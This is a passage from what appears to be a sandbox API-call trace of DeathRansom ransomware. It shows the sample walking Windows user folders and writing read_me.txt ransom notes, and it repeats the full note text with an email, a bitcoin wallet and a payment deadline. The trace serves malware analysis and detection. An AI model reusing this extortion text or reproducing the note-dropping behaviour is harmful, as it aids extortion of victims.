ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Indexed Locations.search-ms", cAlternateFileName="\x07")) returned 0xffffffff [0078.775] wnsprintfW (in: pszDest=0x44a00f8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Start Menu\\read_me.txt") returned 43 [0078.775] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Start Menu\\read_me.txt" (normalized: "c:\\users\\default\\start menu\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0078.808] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.808] WriteFile (in: hFile=0x8f4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.809] CloseHandle (hObject=0x8f4) returned 1 [0078.809] GetProcessHeap () returned 0x540000 [0078.809] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44a00f8 | out: hHeap=0x540000) returned 1 [0078.810] lstrcpyW (in: lpString1=0x44a00f8, lpString2="\\\\?\\C:\\Users\\Default\\Templates" | out: lpString1="\\\\?\\C:\\Users\\Default\\Templates") returned="\\\\?\\C:\\Users\\Default\\Templates" [0078.810] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 102 [0078.810] QueueUserWorkItem (Function=0x40a710, Context=0x44a00f8, Flags=0x0) returned 1 [0078.810] GetProcessHeap () returned 0x540000 [0078.810] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43c0008 [0078.811] wnsprintfW (in: pszDest=0x43c0008, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Templates\\*") returned 32 [0078.811] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Templates\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Indexed Locations.search-ms", cAlternateFileName="\x07")) returned 0xffffffff [0078.811] wnsprintfW (in: pszDest=0x43c0008, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Templates\\read_me.txt") returned 42 [0078.811] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Templates\\read_me.txt" (normalized: "c:\\users\\default\\templates\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0078.811] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.811] WriteFile (in: hFile=0x8f4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.812] CloseHandle (hObject=0x8f4) returned 1 [0078.813] GetProcessHeap () returned 0x540000 [0078.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43c0008 | out: hHeap=0x540000) returned 1 [0078.813] lstrcpyW (in: lpString1=0x43c0008, lpString2="\\\\?\\C:\\Users\\Default\\Videos" | out: lpString1="\\\\?\\C:\\Users\\Default\\Videos") returned="\\\\?\\C:\\Users\\Default\\Videos" [0078.813] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 103 [0078.813] QueueUserWorkItem (Function=0x40a710, Context=0x43c0008, Flags=0x0) returned 1 [0078.813] GetProcessHeap () returned 0x540000 [0078.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43d0010 [0078.813] wnsprintfW (in: pszDest=0x43d0010, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Videos\\*") returned 29 [0078.813] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Videos\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.864] lstrcpyW (in: lpString1=0x4191078, lpString2="\\\\?\\C:\\Users\\Default User" | out: lpString1="\\\\?\\C:\\Users\\Default User") returned="\\\\?\\C:\\Users\\Default User" [0078.864] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 104 [0078.864] QueueUserWorkItem (Function=0x40a710, Context=0x4191078, Flags=0x0) returned 1 [0078.864] GetProcessHeap () returned 0x540000 [0078.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a1080 [0078.864] wnsprintfW (in: pszDest=0x41a1080, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default User\\*") returned 27 [0078.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default User\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="videos", cAlternateFileName="\x07")) returned 0xffffffff [0078.864] wnsprintfW (in: pszDest=0x41a1080, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default User\\read_me.txt") returned 37 [0078.864] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default User\\read_me.txt" (normalized: "c:\\users\\default user\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.864] GetProcessHeap () returned 0x540000 [0078.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a1080 | out: hHeap=0x540000) returned 1 [0078.865] lstrcpyW (in: lpString1=0x41a1080, lpString2="\\\\?\\C:\\Users\\Public" | out: lpString1="\\\\?\\C:\\Users\\Public") returned="\\\\?\\C:\\Users\\Public" [0078.865] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 105 [0078.865] QueueUserWorkItem (Function=0x40a710, Context=0x41a1080, Flags=0x0) returned 1 [0078.865] GetProcessHeap () returned 0x540000 [0078.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0078.866] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\*") returned 21 [0078.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0078.867] lstrcpyW (in: lpString1=0x4322148, lpString2="\\\\?\\C:\\Users\\Public\\Desktop" | out: lpString1="\\\\?\\C:\\Users\\Public\\Desktop") returned="\\\\?\\C:\\Users\\Public\\Desktop" [0078.867] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 106 [0078.867] QueueUserWorkItem (Function=0x40a710, Context=0x4322148, Flags=0x0) returned 1 [0078.867] GetProcessHeap () returned 0x540000 [0078.867] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4292100 [0078.868] wnsprintfW (in: pszDest=0x4292100, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Desktop\\*") returned 29 [0078.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.870] lstrcpyW (in: lpString1=0x4292100, lpString2="\\\\?\\C:\\Users\\Public\\Documents" | out: lpString1="\\\\?\\C:\\Users\\Public\\Documents") returned="\\\\?\\C:\\Users\\Public\\Documents" [0078.870] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 107 [0078.870] QueueUserWorkItem (Function=0x40a710, Context=0x4292100, Flags=0x0) returned 1 [0078.871] GetProcessHeap () returned 0x540000 [0078.871] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42a2108 [0078.871] wnsprintfW (in: pszDest=0x42a2108, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\*") returned 31 [0078.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.872] lstrcpyW (in: lpString1=0x42b2110, lpString2="\\\\?\\C:\\Users\\Public\\Documents\\My Music" | out: lpString1="\\\\?\\C:\\Users\\Public\\Documents\\My Music") returned="\\\\?\\C:\\Users\\Public\\Documents\\My Music" [0078.872] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 108 [0078.872] QueueUserWorkItem (Function=0x40a710, Context=0x42b2110, Flags=0x0) returned 1 [0078.872] GetProcessHeap () returned 0x540000 [0078.872] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42c2118 [0078.872] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Music\\*") returned 40 [0078.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11, ftCreationTime.dwHighDateTime=0x2, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSNBC News.url眕Ꝯ眵\x17ǜT眕Ꝿ眵싐̭ƜT", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.873] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Music\\read_me.txt") returned 50 [0078.873] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\My Music\\read_me.txt" (normalized: "c:\\users\\public\\documents\\my music\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.928] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.928] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.929] CloseHandle (hObject=0x7a4) returned 1 [0078.929] GetProcessHeap () returned 0x540000 [0078.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42c2118 | out: hHeap=0x540000) returned 1 [0078.929] lstrcpyW (in: lpString1=0x42c2118, lpString2="\\\\?\\C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="\\\\?\\C:\\Users\\Public\\Documents\\My Pictures") returned="\\\\?\\C:\\Users\\Public\\Documents\\My Pictures" [0078.929] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 109 [0078.929] QueueUserWorkItem (Function=0x40a710, Context=0x42c2118, Flags=0x0) returned 1 [0078.929] GetProcessHeap () returned 0x540000 [0078.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42d2120 [0078.930] wnsprintfW (in: pszDest=0x42d2120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Pictures\\*") returned 43 [0078.930] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11, ftCreationTime.dwHighDateTime=0x2, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSNBC News.url眕Ꝯ眵\x17ǜT眕Ꝿ眵싐̭ƜT", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.930] wnsprintfW (in: pszDest=0x42d2120, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Pictures\\read_me.txt") returned 53 [0078.930] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\My Pictures\\read_me.txt" (normalized: "c:\\users\\public\\documents\\my pictures\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.930] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.931] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.931] CloseHandle (hObject=0x7a4) returned 1 [0078.932] GetProcessHeap () returned 0x540000 [0078.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42d2120 | out: hHeap=0x540000) returned 1 [0078.932] lstrcpyW (in: lpString1=0x42d2120, lpString2="\\\\?\\C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="\\\\?\\C:\\Users\\Public\\Documents\\My Videos") returned="\\\\?\\C:\\Users\\Public\\Documents\\My Videos" [0078.932] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 110 [0078.932] QueueUserWorkItem (Function=0x40a710, Context=0x42d2120, Flags=0x0) returned 1 [0078.932] GetProcessHeap () returned 0x540000 [0078.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42e2128 [0078.932] wnsprintfW (in: pszDest=0x42e2128, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Videos\\*") returned 41 [0078.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11, ftCreationTime.dwHighDateTime=0x2, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSNBC News.url眕Ꝯ眵\x17ǜT眕Ꝿ眵싐̭ƜT", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.933] wnsprintfW (in: pszDest=0x42e2128, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Public\\Documents\\My Videos\\read_me.txt") returned 51 [0078.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Documents\\My Videos\\read_me.txt" (normalized: "c:\\users\\public\\documents\\my videos\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0078.981] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 